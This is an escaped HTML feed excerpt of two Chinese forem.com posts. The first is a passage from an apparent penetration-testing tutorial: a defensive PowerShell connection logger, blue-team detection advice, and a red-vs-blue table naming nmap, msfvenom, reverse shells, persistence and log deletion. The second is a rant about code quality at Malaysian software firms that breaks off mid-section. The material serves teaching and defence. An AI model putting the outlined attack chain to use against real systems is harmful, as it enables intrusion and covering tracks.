    &lt;/span&gt;&lt;span class="kr"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$Port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SSH - 安全远程访问协议"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HTTP - 未加密网页流量"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HTTPS - 加密网页流量"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;3306&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"MySQL - 关系型数据库"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;5432&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"PostgreSQL - 关系型数据库"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;6379&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Redis - 内存数据存储/缓存"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;27017&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"MongoDB - NoSQL数据库"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"FTP - 文件传输协议"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SMTP - 邮件发送协议"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;3389&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"RDP - 远程桌面协议"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HTTP备用端口 - 开发/测试环境常用"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;8081&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HTTP开发端口 - Web开发常用"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;5228&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Google Play 服务 - 推送与同步"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;5223&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"APNs - 苹果推送通知服务"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;110&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"POP3 - 邮件接收协议"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;143&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"IMAP - 邮件同步协议"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;993&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"IMAPS - 加密IMAP协议"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;465&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SMTPS - 加密SMTP协议"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;5900&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"VNC - 远程桌面访问"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;11211&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Memcached - 分布式内存缓存"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;69&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"TFTP - 简易文件传输协议"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;161&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SNMP - 网络监控与管理协议"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;8443&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HTTPS备用端口 - 安全开发/测试环境常用"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;Default&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"未知端口"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kr"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;$true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Show-Spinner&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="c"&gt;# Get all ESTABLISHED TCP connections excluding local ones&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$connections&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Get-NetTCPConnection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-State&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Established&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;RemoteAddress&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-ne&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"127.0.0.1"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;RemoteAddress&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-ne&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"::1"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="nv"&gt;$connections&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$src_ip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;RemoteAddress&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$dst_port&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;LocalPort&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$timestamp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Get-Date&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Format&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"yyyy-MM-dd HH:mm:ss"&lt;/span&gt;&lt;span class="w"&gt;

        &lt;/span&gt;&lt;span class="nv"&gt;$entryLine&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$timestamp&lt;/span&gt;&lt;span class="s2"&gt; | &lt;/span&gt;&lt;span class="nv"&gt;$src_ip&lt;/span&gt;&lt;span class="s2"&gt; | &lt;/span&gt;&lt;span class="nv"&gt;$dst_port&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$logExists&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$LogFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Pattern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$src_ip&lt;/span&gt;&lt;span class="s2"&gt;.*&lt;/span&gt;&lt;span class="nv"&gt;$dst_port&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Quiet&lt;/span&gt;&lt;span class="w"&gt;

        &lt;/span&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-Not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$logExists&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nv"&gt;$port_info&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Describe-Port&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$dst_port&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$entryLine&lt;/span&gt;&lt;span class="s2"&gt; (&lt;/span&gt;&lt;span class="nv"&gt;$port_info&lt;/span&gt;&lt;span class="s2"&gt;)"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Out-File&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilePath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$LogFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Append&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Encoding&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;utf8&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="n"&gt;Write-Host&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"[NEW] Connection from &lt;/span&gt;&lt;span class="nv"&gt;$src_ip&lt;/span&gt;&lt;span class="s2"&gt; â†?Local Port &lt;/span&gt;&lt;span class="nv"&gt;$dst_port&lt;/span&gt;&lt;span class="s2"&gt; (&lt;/span&gt;&lt;span class="nv"&gt;$port_info&lt;/span&gt;&lt;span class="s2"&gt;)"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="n"&gt;Start-Sleep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Seconds&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;10&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  &lt;strong&gt;3. Payload检测&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;执行应用白名单和脚本阻断策略。&lt;/li&gt;
&lt;li&gt;监控PowerShell、Python或可执行文件发起的外部连接。&lt;/li&gt;
&lt;li&gt;示例：Sysmon规则检测外部PowerShell连接。&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;4. Payload投递防御&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;邮件网关附件沙箱化。&lt;/li&gt;
&lt;li&gt;全面打补丁降低漏洞利用风险。&lt;/li&gt;
&lt;li&gt;用户安全意识培训，防钓鱼与社会工程攻击。&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;5. 执行与Shell检测&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;监控异常IP或端口的出站连接。&lt;/li&gt;
&lt;li&gt;关联网络流量与终端日志，识别信标行为。&lt;/li&gt;
&lt;li&gt;EDR可检测非交互式Shell会话。&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;6. 后渗透防御&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;检测异常权限提升行为。&lt;/li&gt;
&lt;li&gt;审计文件访问、进程创建与横向移动尝试。&lt;/li&gt;
&lt;li&gt;利用异常检测工具标记异常系统行为。&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;7. 持久化与清理防御&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;监控启动脚本、cron任务、注册表项的未授权变动。&lt;/li&gt;
&lt;li&gt;启用不可篡改日志和关键配置变更告警。&lt;/li&gt;
&lt;li&gt;事后取证分析还原攻击链条。&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  红队 vs 蓝队阶段对照表
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;阶段&lt;/th&gt;
&lt;th&gt;红队进攻&lt;/th&gt;
&lt;th&gt;蓝队防御&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;侦察&lt;/td&gt;
&lt;td&gt;网络扫描（&lt;code&gt;nmap&lt;/code&gt;、&lt;code&gt;masscan&lt;/code&gt;）&lt;/td&gt;
&lt;td&gt;检测扫描、关闭未用端口、网络分段&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;监听器设置&lt;/td&gt;
&lt;td&gt;Metasploit监听（&lt;code&gt;msfconsole&lt;/code&gt;）&lt;/td&gt;
&lt;td&gt;监控异常监听与开放端口&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Payload生成&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;msfvenom&lt;/code&gt;生成Payload&lt;/td&gt;
&lt;td&gt;应用白名单、脚本监控&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Payload投递&lt;/td&gt;
&lt;td&gt;钓鱼、漏洞利用&lt;/td&gt;
&lt;td&gt;邮件沙箱化、打补丁、用户培训&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;执行&lt;/td&gt;
&lt;td&gt;Payload运行，建立逆向Shell&lt;/td&gt;
&lt;td&gt;出站监控、异常检测&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;后渗透&lt;/td&gt;
&lt;td&gt;命令执行、权限提升&lt;/td&gt;
&lt;td&gt;监控异常活动、权限滥用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;持久化&lt;/td&gt;
&lt;td&gt;可选后门或计划任务&lt;/td&gt;
&lt;td&gt;监控启动任务、注册表项、服务&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;清理&lt;/td&gt;
&lt;td&gt;删除日志、掩盖痕迹&lt;/td&gt;
&lt;td&gt;不可篡改日志、取证关联分析&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;p&gt;请记住，本教程仅用于学习、渗透测试授权实验室和防御研究。不要将这些技术用于非法入侵或破坏他人财产。尊重法律与道德，是每一个安全从业者的底线。&lt;/p&gt;

</description>
      <category>msfconsole</category>
      <category>hacking</category>
    </item>
    <item>
      <title>为什么我讨厌与马来西亚的软件公司合作？</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Thu, 24 Jul 2025 15:49:41 +0000</pubDate>
      <link>https://forem.com/ctkqiang/wei-shi-yao-wo-tao-yan-yu-ma-lai-xi-ya-de-ruan-jian-gong-si-he-zuo--3l6j</link>
      <guid>https://forem.com/ctkqiang/wei-shi-yao-wo-tao-yan-yu-ma-lai-xi-ya-de-ruan-jian-gong-si-he-zuo--3l6j</guid>
      <description>&lt;h2&gt;
  
  
  我是个写代码有洁癖的人
&lt;/h2&gt;

&lt;p&gt;作为一名长期从事软件工程与架构设计的开发者，我主要涉猎：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;后端语言&lt;/strong&gt;：Golang、Java（Spring Boot）、C++、Python&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;前端 / 客户端开发&lt;/strong&gt;：Next.js、Vue、Flutter、Android 原生（Java/Kotlin）、iOS SwiftUI&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在过去数年的项目开发中，我习惯于&lt;strong&gt;从系统架构层面出发，先理清数据流、业务边界、模块划分，再开始编码&lt;/strong&gt;。&lt;br&gt;
我始终坚信：&lt;strong&gt;代码不是写出来“能跑”就够了，而是要“经得起阅读、维护、迭代”&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;代码要干净，架构要合理，安全性、稳定性与性能缺一不可。&lt;/p&gt;

&lt;p&gt;但遗憾的是，在我与多家马来西亚本地软件公司合作的过程中，这些最基本的工程理念，经常被无情践踏，甚至被当作“累赘”对待。&lt;/p&gt;


&lt;h2&gt;
  
  
  问题一：对代码质量和系统设计毫无敬畏之心
&lt;/h2&gt;

&lt;p&gt;在马来西亚，很多中小型软件公司普遍存在一种奇怪的开发心态：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“只要客户不投诉，交付能上线，代码再乱也没关系。”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;他们认为编码风格、架构规范、安全防护，都是“锦上添花”的“奢侈品”，而不是“必须品”。&lt;/p&gt;

&lt;p&gt;但从一个架构师的角度出发，我看到的却是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;系统极度耦合、不可维护&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全漏洞触目惊心&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UI/UX 设计极其草率&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;代码层面充满重复、拼凑、无测试的“代码垃圾”&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  案例实录：我真的遇到过这些离谱到离谱的项目
&lt;/h2&gt;
&lt;h3&gt;
  
  
  公司 A：在 Flutter 中用 &lt;code&gt;for&lt;/code&gt; 循环暴力构建 UI
&lt;/h3&gt;

&lt;p&gt;这家公司在开发 Flutter 项目时，明明是异步数据渲染的场景，居然用 &lt;code&gt;for()&lt;/code&gt; 循环硬刷 widget 列表，而不是 &lt;code&gt;StreamBuilder&lt;/code&gt; 或 &lt;code&gt;FutureBuilder&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;结果造成页面卡顿、状态错乱、异常频发。&lt;br&gt;
更离谱的是，开发者居然说：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“这样比较快写完，而且能跑啊。”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;这是快速交付吗？不，这是对框架机制的践踏。&lt;/p&gt;


&lt;h3&gt;
  
  
  公司 B：不用 Git，代码靠“打印”备份
&lt;/h3&gt;

&lt;p&gt;这家公司到现在还在靠“&lt;strong&gt;打印源码纸质档案&lt;/strong&gt;”做版本控制。每个月月底，把项目代码全部打印下来，装进文件夹归档。&lt;/p&gt;

&lt;p&gt;没有 Git，没有 commit log，没有代码 diff、pull request，全靠纸质比对。&lt;/p&gt;

&lt;p&gt;我问：“那多人协作开发怎么办？”&lt;br&gt;
答曰：“我们彼此不动对方代码。”&lt;/p&gt;

&lt;p&gt;🤦‍♀️ 我无语到失语，21 世纪了，软件开发靠打印来备份？这是开发还是玩穿越剧？&lt;/p&gt;


&lt;h3&gt;
  
  
  公司 C：一个 &lt;code&gt;main.dart&lt;/code&gt; 塞 9000 行代码，自称 MVC
&lt;/h3&gt;

&lt;p&gt;这个项目让我窒息：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;所有页面和逻辑集中写在一个文件：&lt;code&gt;main.dart&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;文件长达 9000 多行，包含十几个 class 和若干 &lt;code&gt;void main()&lt;/code&gt; 函数&lt;/li&gt;
&lt;li&gt;所有 UI 控件都用 &lt;code&gt;Container&lt;/code&gt; 伪装 AppBar、FAB、BottomNavBar&lt;/li&gt;
&lt;li&gt;每个组件都嵌套一个新的 &lt;code&gt;MaterialApp&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;开发者说他们有在使用“&lt;strong&gt;MVC 架构&lt;/strong&gt;”，&lt;br&gt;
但所谓的 MVC，就是把所有 Model、View、Controller 全部堆在 &lt;code&gt;main.dart&lt;/code&gt; 里。&lt;/p&gt;

&lt;p&gt;你这不是 MVC，这是&lt;strong&gt;MCU（Marvel Cinematic Universe）宇宙坍缩&lt;/strong&gt;。&lt;/p&gt;


&lt;h3&gt;
  
  
  公司 E：React Native 项目硬编码管理员账号密码
&lt;/h3&gt;

&lt;p&gt;一个 React Native 项目，管理员账号密码直接硬编码在代码里：&lt;br&gt;
&lt;/p&gt;

